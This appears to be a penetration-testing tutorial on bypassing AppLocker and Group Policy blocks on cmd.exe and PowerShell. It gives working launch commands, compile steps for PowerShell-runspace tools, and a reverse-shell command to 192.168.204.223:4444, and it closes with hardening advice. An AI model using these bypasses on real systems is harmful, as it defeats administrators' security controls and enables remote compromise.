Powershell Restrictions bypasses

PowerShell restrictions bypasses
AD exploitation & Post exploitation

In most mature environments and in most of these tests, access to command line tools is restricted. Employees typically cannot spawn Command Prompt or PowerShell. This is usually restricted using AppLocker, GPO and / or SRP.

Cmd blocked by administrator

When we try to start a command prompt (cmd.exe), we usually see the following error message:

The command prompt has been disabled by your administrator.
Press any key to continue . . .

PowerShell blocked by Group Policy

Similarly when we try to start PowerShell interpreter (powershell.exe), we usually see this error message:

This app has been blocked by your system administrator.
Contact your system administrator for more info

Can we somehow bypass these restrictions and spawn a command line? 

Yes we can –>> Lets do it !!

Arbitrary command execution versus spawning a shell

There is a distinction between arbitrary command execution (ACE) and spawning a shell. Although ACE is not really focus of this article, it is typically needed to perform ACE in order to bypass the restrictions and spawn an interactive shell window. Let’s briefly mention several resources and methods of how we usually execute arbitrary commands on Windows systems when things are hardened.

PenTestPartners guide

In 2014, Michael Yardley wrote one of the best comprehensive guides on how to break out of Citrix and other restricted desktop environments. It is still very useful today since it contains core concepts and methodologies on how to bypass various restrictions. You can find it here:

The guide contains lot of tips and tricks how to perform ACE and even several methods how to spawn a command prompt

LOLBAS

The LOLBAS project is a community project cataloging various Windows built-in utilities with “unexpected” functionalities, which can be used for ulterior motives. Using these utilities we can download files, copy things around, perform ACE or flat out bypass some of the restrictions. The project lives here:

But some of the simplest, easiest and most effective ways how we perform ACE is by using the Start menu (Cortana search), shortcuts or built-in Windows scripting functionalities. These things work practically everywhere.

Cortana / Start menu

In the Cortana / Start menu we can pretty much invoke any command we like, including complex commands with parameters and redirection operators (>, >>). Combine this with the LOLBAS techniques and there is practically nothing you cannot do.

We also find sometimes that providing a full path to programs will actually overcome some restrictions (see method #1 below).

Shortcuts

By using shortcuts, we can also execute pretty much anything, including complex commands with parameters. Note however, that redirection operators do not work directly in a shortcut and there is also limitation on command length (259 characters max).

Batch (.bat)

Sometimes spawning a command prompt is restricted, while creating a batch file (.bat) and double clicking on it will happily execute all the commands in it.

Visual Basic (.vbs)

Visual Basic also comes handy for performing ACE, especially in very hardened environments. We can simply put arbitrary command into a .vbs file like this:

cmd = "<COMMAND>"

out = "c:\users\public\output.txt"
Set a = CreateObject("Wscript.Shell").Exec(cmd)
Set o = CreateObject("Scripting.FileSystemObject")
Set oo = o.CreateTextFile(out,True)
oo.WriteLine(a.StdOut.ReadAll())
oo.WriteLine(a.StdErr.ReadAll())
oo.Close()

And then execute it using cscript.exe or wscript.exe like this e.g. via Cortana search / Start menu or a shortcut:

cscript c:\path\to\our.vbs

wscript c:\path\to\our.vbs

The output will be then written into c:\users\public\output.txt file.

There are practically unlimited number of ways how to perform ACE on the Windows system. Let’s move on with our topic.

Placing files in writeable paths

One of the most important aspects of bypassing restrictions is to understand that often times these restrictions are not applied uniformly to all locations on the system. Typically there are some locations (directories) on the system where placing our files (executables, libraries, codes) will bypass the restrictions.

What we are interested the most in are locations where we can write to and execute from. These locations may include locations such as home folders, profile folders, temp folders and many others. See the following list for illustration:

We usually have a lot of success using these locations:

  • C:\Users\Public
  • C:\Windows\Tasks
  • C:\Windows\Tracing
  • C:\Windows\System32\Spool\Drivers\Color

Keep this in mind when going through the methods below and try to place things into these locations. Note that you can also use the following PowerShell script to find such locations:

Alright, enough of the soup. Let’s get down to business!

Bypass blocked Command Prompt

Method 1: Use full paths

Sometimes by providing full path to cmd.exe in the Cortana search / Start menu will bypass the restrictions and spawn it:

bypass restrications

You can do the same with powershell.exe. To find all these locations, you can simply search in the C:\Windows directory using the file explorer or you can also use the following commands:

cd %windir%
dir /s /b cmd.exe
dir /s /b powershell.exe

Method 2: Import object into WordPad

Another method that sometimes works as a bypass is to start up WordPad editor and then insert cmd.exe as an object like this:

Method 3: Cmd.bat

This is very old method, probably from the dawn of the Internet.

Create the following batch file, name it anything e.g. a.bat and simply run it:

@echo off
:a
set /p comm=cmd~ 
%comm%
goto a

Chances are you will get a command prompt. If it is still blocked, try to place it in other locations, such as those referenced above

Method 4: ReactOS Cmd

Link: https://blog.didierstevens.com/2010/02/04/cmd-dll/

This goodie was created by Didier Stevens (@DidierStevens) in 2010 and it still useful today. It is basically reverse-engineered Microsoft’s command prompt (cmd.exe) done by ReactOS project and it is practically 100% compatible with it. Didier took it and transformed it into a DLL, so it is basically a command prompt implemented as a library. But Didier didn’t stop there..

The latest version (https://didierstevens.com/files/software/cmd-dll_v0_0_4.zip) contains the following 3 forms:

EXE version (cmd.exe)

You simply double click on the executable and run it. Chances are that it will not be blocked by the AV and the ReactOS command prompt window will appear. You can then type in any command just like in the cmd.exe command prompt.

DLL version (cmd.dll)

The DLL version you have to load with rundll32.exe like this:

rundll32.exe cmd.dll,main

For instance, you can start it from the Run dialog (Win+R) or from the Cortana search / Start menu, or from a shortcut. The ReactOS command prompt window should be spawned like this:

cmd dll

VBA version (cmd.dll.bin.vba)

Here you basically have to create a Microsoft Office document and add a macro into it. You can also do this from Outlook, for instance. Once you have opened the macro editor (Visual Basic IDE), simply go:

  • File -> Import File -> c:\path\to\cmd.dll.bin.vba
  • Run (F5)

And the ReactOS command prompt window should appear.

Method 5: Ftp client

This is not really a blocked command prompt bypass, but it is fair to include the method here, because the built-in FTP client (ftp.exe) allows to execute commands on the system in an interactive window just like the cmd.exe prompt. The ftp client supports using the bang (!) to run local commands.

Simply start the ftp client e.g. via Start menu:

  • Start -> ftp

Sometimes this may be blocked, but when you specify full path to it, it will work:

  • Start -> c:\windows\system32\ftp.exe
ftp bang commands

Method 6: Checksum bypass

This is one of our favorites. This technique works when cmd.exe is blacklisted based on its checksum. To bypass it, simply make a copy of cmd.exe and append a byte to its end (overlay). This will change its checksum while the functionality should not be impacted. Basically we have to execute the following commands:

copy c:/windows/system32/cmd.exe c:\users\public\a.exe
echo >>c:\users\public\a.exe
c:\users\public\a.exe

Chances are that our modified command prompt will be spawned. Example by spawning it via ftp client:

copy of cmd append newline

The same method can be applied to spawn powershell.exe interpreter.

Method 7: WMI console

This is not really a blocked command prompt bypass, but again it is fair to include it here, because the WMI console (wmic.exe) opens an interactive window which can be even more powerful than the cmd.exe command prompt. Here are some useful links with examples on how to use it:

Simply spawn the console e.g. via Start menu like this:

  • Start -> wmic

If it is blocked, try using the full path like this:

  • Start -> C:\windows\syswow64\wbem\wmic.exe

Bypass blocked PowerShell

This section lists various known methods of how to bypass blocked PowerShell and how to spawn a PowerShell interpreter and/or execute arbitrary PowerShell commands. Most of these techniques are based on custom tools which utilize PowerShell libraries present on Windows systems.

Method 8: PowerShdll

Link: https://github.com/p3nt4/PowerShdll

This tool was created by @xP3nt4 in 2017. It is a custom PowerShell-like interpreter in form of a DLL. It can be run with rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.

Simply grab the latest release, transfer it on the target machine and spawn it using any of these commands:

# On x86/x64 platforms:
rundll32.exe PowerShdll,main
regsvr32.exe /s PowerShdll.dll
regsvr32.exe /s /u PowerShdll.dll

# On x64 platforms:
C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll

# On x86 platforms:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll

You should have the PowerShell interpreter window spawned and ready for your commands, like this:

powershdllb

Note that there are limitations on the length of the commands (max 255 characters long commands), which may be an issue. But you can import additional modules and cmdlets using Import-Module command or run any other PowerShell commands to work your way around the limitations.

Method 9: MSBuildShell

Link: https://github.com/Cn33liz/MSBuildShell

This project is from 2016 and it was done by @Cn33liz. It is another custom PowerShell-like interpreter, but this one is running within Microsoft Build Engine (MSBuild.exe). MSBuild.exe utility is part of the .NET framework and is present on practically every Windows installation.

Simply grab the MSBuildShell.csproj file from the repository, transfer it onto the target machine and run it like this:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildShell.csproj
# Or
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

You should have the MSBuildShell interpreter window spawned and ready for your commands, like this:

msbuildshell

Note that there are limitations on the length of the commands (max 255 characters long commands), which may be an issue. But you can import additional modules and cmdlets using Import-Module command or run any other PowerShell commands to work your way around the limitations.

You can now import additional modules and cmdlets using Import-Module command or run any other PowerShell commands.

Method 10: CScriptShell

Link: https://github.com/carnal0wnage/CScriptShell

This one is based on the MSBuildShell above. It was done in 2017 also by @Cn33liz by enhancing it with bypass technique published by @SubTee. It is basically the same code as MSBuildShell, but this time it is in a form of DLL. First you have to build the DLL on your machine using csc.exe (C# compiler) like this:

# Create Your Strong Name Key (using PowerShell):
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQDpppNj5RmGMzd+NkKLJYCF4hDgM4K0KpgdHXfiNKXleoVrvpQz75gSNQJyN/pROTNBhEA0jp5IqrEqdJQsPzXYO3l5JGDtpu3AD7dxge1oUWpugdk5ZHIMOsB1Il/FL+96m39ZZL7o5LHCdHdctEeTG+S15IDyM7L9VoAi7cXsueP7kvvTJETonQoz4JRdH889XnTDWebwj3ViH6zq+Xv5/l0iJh65v6VAzYLfCKEkFzev36w8RJYpwMMwwHDlCMvDYwdY2MFFp/ZQHg7If0BuDLM7D5ozGJnEVUTwwM+gZQ1LRn5EE6WrffQ/Gy2XtzvH4wRlYX939aOm8XVOPm3q0yVe40xxQaR3NR5v6G59dcZWU8baoZFes9mXg3ydQxkPgxbmjJ+Vfw0IVdj4VqrJ0O2IB+eSf9N305Hf32sqooOuytsKIS/DBJ9T5njUV3rQZzguyKGdFZfE4flPBkuRWHXMM63kyKQNLalf3XRTKP3+4Aw+YS9Q+bH53Y4uIIVkR3uN8beKlXBCg1Ja+3qCyMrhSsuhEevrsQTVypHWouG49esZSyYQoyXXxGKwpEuDFmdFmSXEnru54lb/PuOHVTlQHR7hd6TAe0tFOaJWDosNN1QPLTicIvmfeU5KvNsrBMmdnf7NF3yzNAN5jf4DEYg1UK6x0s+IP2JCumjjTx4GIm3h/eO+AqlIy8xbUeZFyln3P5XSQ1ErRRiVGGp1TLa5vNPf8Y4LcV1LSSKnNspw7H3Fw0UyxDs5t+tNQ1I='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte

# Compile DLL
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /r:System.EnterpriseServices.dll,System.Management.Automation.dll /target:library /out:CScriptShell.dll /keyfile:key.snk CScriptShell.cs

Then you can take the produced CScriptShell.dll file and the CScriptShell.js file from the repository and transfer them onto the target machine. Then you spawn the interpreter by running it via cscript.exe like this:

cscript.exe CScriptShell.js

You can now import additional modules and cmdlets using Import-Module command or run any other PowerShell commands.

Method 11: p0wnedShell

Link: https://github.com/Cn33liz/p0wnedShell

This is another tool created by @Cn33liz with first commit made in 2015. It is a PowerShell Runspace Post Exploitation Toolkit. Basically it’s another PowerShell-like interpreter, but this one contains many useful post-exploitation modules and cmdlets embedded inside.

To use it you have to build it with Microsoft Visual Studio. Once you have it built, transfer the produced p0wnedShell.exe binary onto the target and run it. You should see something like this:

p0wnedshell

Select option 16 for the interactive PowerShell interpreter. You can now import additional modules and cmdlets using Import-Module command or run any other PowerShell commands. Note that the interpreter comes with number of post-exploitation modules loaded in the runspace already.

Method 12: PSShell

Link: https://github.com/fdiskyou/PSShell

This project was done by @fdiskyou in 2016. It is a PowerShell-like interactive interpreter and it comes in 2 versions (releases):

Release 2.0: DLL version

This one you have to compile with Microsoft Visual Studio. After the compilation is done, transfer the produced PSShell.dll binary onto the target machine and run it with any of these commands:

rundll32 PSShell.dll,EntryPoint
# Or
regsvr32 PSShell.dll
# Or
regsvr32 /u PSShell.dll

Release 1.0: EXE version

You can compile this one with the built-in C# compiler csc.exe (no need for Visual Studio). Make sure to grab the Release 1.0 and then compile it with csc.exe like this:

# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PSShell.exe /platform:x64 "C:\path\to\PSShell\Program.cs"

Then simply transfer the produced PSShell.exe binary onto the target machine and run it. PSShell interpreter window should appear like this:

psshell 1

Method 13: PowerOPS

Link: https://github.com/fdiskyou/PowerOPS

This one is also from @fdiskyou and also from 2016. It is another PowerShell-like interactive interpreter. It is called the PowerShell Runspace Portable Post Exploitation Tool. It comes with a number of useful modules and functions pre-loaded already in the runspace. This includes modules such as PowerSploit, Nishang, Empire and others.

The build process is easy and straightforward – you can compile it with csc.exe (no need for Visual Studio). Simply clone the repository and execute:

# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

Then simply transfer the produced PowerOPS.exe binary onto the target machine and run it. PowerOPS interpreter window should appear like this:

powerops

You can now import additional modules and cmdlets using Import-Module command or run any other PowerShell commands. You can also use the pre-loaded modules (PowerSploit, Nishang, Empire etc.).

Method 14: Nps (Not PowerShell)

Link: https://github.com/Ben0xA/nps

This one is not really a PowerShell interpreter. It is a tool which allows you to run PowerShell commands without using powershell.exe. It was created by Ben Ten (@Ben0xA) in 2015.

There is nps.exe binary included in the project already which you can use right away (nps.zip). Or you can compile your own version and add some obfuscation, if needed. To compile your own version, simply use the built-in C# compiler csc.exe like this:

# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\username\nps.exe /platform:x64 "C:\path\to\nps\*.cs"

Then simply transfer the nps.exe binary onto the target system and run it like this:

# Usage:
nps.exe "powershell single command"
nps.exe "& {commands; semi-colon; separated}"
nps.exe -encodedcommand {base64_encoded_command}
nps.exe -encode "commands to encode to base64"
nps.exe -decode {base64_encoded_command}

Now you can run any PowerShell commands using nps.exe. You can also import additional modules using Import-Module command. Here’s an example with PowerUp.ps1 module for doing privilege escalation checks:

c:\users\public\nps.exe "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"

For instance, you can type it directly into the Cortana search / Start menu like this and it will be executed in a console window without spawning a single instance of powershell.exe process:

nps powerup allchecks

The results will be then written into the c:\users\public\results.txt file.

Method 15: NoPowerShell

Link: https://github.com/bitsadmin/nopowershell

NoPowerShell was created by Arris Huijgen (@bitsadmin) in 2018. It is another PowerShell-like interpreter, but this one is different from the others – it doesn’t use the System.Management.Automation.dll library. Its aim is to be as covert as possible. It is for example possible to load it into Cobalt Strike and execute commands in-memory. It also contains a number of post-exploitation modules and cmdlets embedded inside.

You can easily enhance it and build your own version (e.g. add some anti-AV obfuscation) or you can simply grab the latest release binaries and transfer them onto the target machine.

The DLL version spawns an interactive prompt window like this:

# On x64 platforms:
rundll32.exe NoPowerShell64.dll,main

# On x86 platforms:
rundll32.exe NoPowerShell.dll,main

EXE version

The EXE version is not an interactive interpreter. It is more like the Nps covered above, where it allows you to run PowerShell-like commands without running powershell.exe. Example:

# Usage:
NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc.

# Example:
NoPowerShell.exe Get-Command            - list all supported commands
NoPowerShell.exe Get-ComputerInfo       - get computer info
NoPowerShell.exe Get-NetIPAddress -All  - get IP address configuration
NoPowerShell.exe Get-NetNeighbor        - get ARP table

Note that there are some limitations with this tool. It is not a fully fledged PowerShell environment. For example you cannot load additional modules using Import-Module command or run arbitrary PowerShell commands. Only supported commands are available. See the official Cheatsheet or run Get-Command for list of supported commands.

Method 16: PowerLine

Link: https://github.com/fullmetalcache/PowerLine

This is one of our favorites. This tools was created by Brian Fehrman (@fullmetalcache) in 2017. It is not an interactive interpreter, but it allows you to pack any number of arbitrary chosen PowerShell modules into a single executable. You have to build this on your machine first and then transfer the produced executable on the target machine. The executable will contain XOR-encoded, base64-encoded versions of all scripts that you specified during the building process.

The build process is very easy and straightforward – no Visual Studio is needed. Simply follow these steps:

# 1. Clone the repository
git clone https://github.com/fullmetalcache/PowerLine.git

# 2. Run the build.bat file
cd PowerLine
build.bat

# 3. Edit the UserConf.xml file and add links to the PowerShell scripts that you would like to add:
notepad UserConf.xml

# 4. Run the PLBuilder.exe file
PLBuilder.exe

After the building process is finished, the PowerLine.exe file will be produced. You can now take this file and transfer it on the target machine. Then use it like this:

# Usage:
PowerLine.exe -ShowScripts                 - list all embedded scripts
PowerLine.exe <Module> "Get-Command"       - list all available commands

# Examples:
PowerLine.exe PowerUp "Invoke-AllChecks"
PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"

Here’s an example of how it looks. You can embed pretty much anything into it:

powerline

For example, by embedding Invoke-PowerShellTcp module (it is included by default), you can also spawn an interactive PowerShell interpreter over the network like this:

PowerLine.exe Invoke-PowerShellTcp "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.223 -Port 4444"

Method 17: PowerLessShell

Link: https://github.com/Mr-Un1k0d3r/PowerLessShell

This is another tool that can run PowerShell code without spawning a single instance of powershell.exe. It was written by @MrUn1k0d3r in 2017. PowerLessShell is a Python tool and the way it works is that you supply it with a PowerShell script and it will convert it to a csproj file. You can then execute it via MSBuild.exe.

Method 18: SharpPick

Link: https://github.com/TheKevinWang/SharpPick

This tool was originally developed by @sixdub in 2015 as part of the PowerTools. It was later on enhanced by Kevin Wang in 2018. SharpPick is not an interactive interpreter, but it allows you to run arbitrary PowerShell code specified as parameter, similarly as NpsPowerLine or NoPowerShell covered above.

First you have to compile it on your machine. Instructions on how to compile it using Microsoft Visual Studio are documented on the sixdub’s website here. We can also compile it using csc.exe after some minor modifications using these steps:

# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\sharppick.exe /platform:x64 "C:\users\public\SharpPick.cs"

After the compilation, simply transfer the sharppick.exe binary onto the target system and run it like this:

Usage: sharppick.exe [<flag> <argument>]
flags:
-f <file>      : Read script from specified file
-d <url>       : Read script from URL
-a <delimeter> : Read script appended to current binary after specified delimeter.
-c <command>   : PowerShell command to execute, enclosed on quotes.

What is neat about this tool is that you can specify a script to run either from a file or from an URL. You can also append arbitrary PowerShell code into the sharppick.exe binary itself and then run it using the -a parameter. Or you can simply specify the command as parameter using the -c parameter.

You can run any PowerShell commands using this tool. You can also import additional modules using Import-Module command. Here’s an example with PowerUp.ps1 module again:

c:\users\public\sharppick.exe -c "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"

You could, again, type this command directly into the Cortana search / Start menu similarly as in our example with nps.exe above or you could for example create a new shortcut and paste the command in there like this:

sharppick powerup allchecks

After double clicking on the shortcut, our command will be executed and the results will be written into the c:\users\public\results.txt file. All that without spawning a single instance of powershell.exe.

Method 19: Own minimalist PowerShell interpreter

Link: https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/

The referenced article written by @decoder_it in 2017 describes method how to write a custom minimalist PowerShell interpreter and compile it using built-in C# compiler (csc.exe). We got inspired by it and created our own version with a few enhancements for more convenient use. We added support for cd command and also added ability to catch errors so that the interpreter doesn’t crash. You can find it on our github below.

Link: https://github.com/InfosecMatter/Shells-for-restricted-environments/tree/master/minips

There are 2 versions available:

Minips.cs version

This version can be compiled into an executable using built-in C# compiler (csc.exe) following these steps:

# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\minips.exe /platform:x64 "C:\users\public\minips.cs"

Then you simply run the produced minips.exe binary on the target system

Minips.xml version

This version you can simply run using Microsoft Build Engine (MSBuild.exe) like this:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe c:\path\to\minips.xml

You can again type this command directly into the Cortana search / Start menu or into a shortcut and the interpreter window will appear

You can now import additional modules and cmdlets using Import-Module command or run any other PowerShell commands.

And that’s it! Please let us know about any other similar projects in the comments section below. Now let’s talk defense a bit..

Remediation strategy

When it comes to advising clients how to harden their environments to prevent employees from spawning command line, we usually recommend the following holistic approach.

Block usage of compilers, build tools and other utilities

This is to impede the attackers as much as possible. Restrict execution of the following programs:

  • csc.exe
  • msbuild.exe
  • cscript.exe
  • vbscript.exe
  • ftp.exe
  • wmic.exe
  • regasm.exe
  • regsvcs.exe
  • rundll32.exe
  • regsvr32.exe

Furthermore, keep investigating and restricting usage of other built-in utilities listed here:

Clearly, there is always a trade-of between usability and security. Keep investigating possible impact and find the right balance that is suitable for your specific organization and its risk profile.

Extend the scope of restrictions

Make sure that the restriction policies cover all the following locations:

  • home folders
  • profile folders
  • temporary folders
  • C:\Users\Public
  • C:\Windows\Tasks
  • C:\Windows\Tracing
  • C:\Windows\System32\Spool\Drivers\Color

Keep investigating which locations can users write to and execute from. Use the following script to find such locations:

PowerShell logging

Make sure to enable PowerShell logging so that the systems will contain footprints of the compromise attempts. This is an invaluable resource not only for real-time monitoring, but also for incident response.

Block Office macros

We recommend blocking Office macros completely. At minimum, implement the “Block macros from running in Office files from the Internet” settings in the corporate GPO. More information on that can be found here:

Additional learnings

the infosecmatter guys have prepared a pack of all the aforementioned shells, compiled and ready to use for testing. You can find it on GitHub below in a password protected zip file.

Link: https://github.com/InfosecMatter/Shells-for-restricted-environments/blob/master/shell-pack.zip

The password for the zip file is InfosecMatter! .

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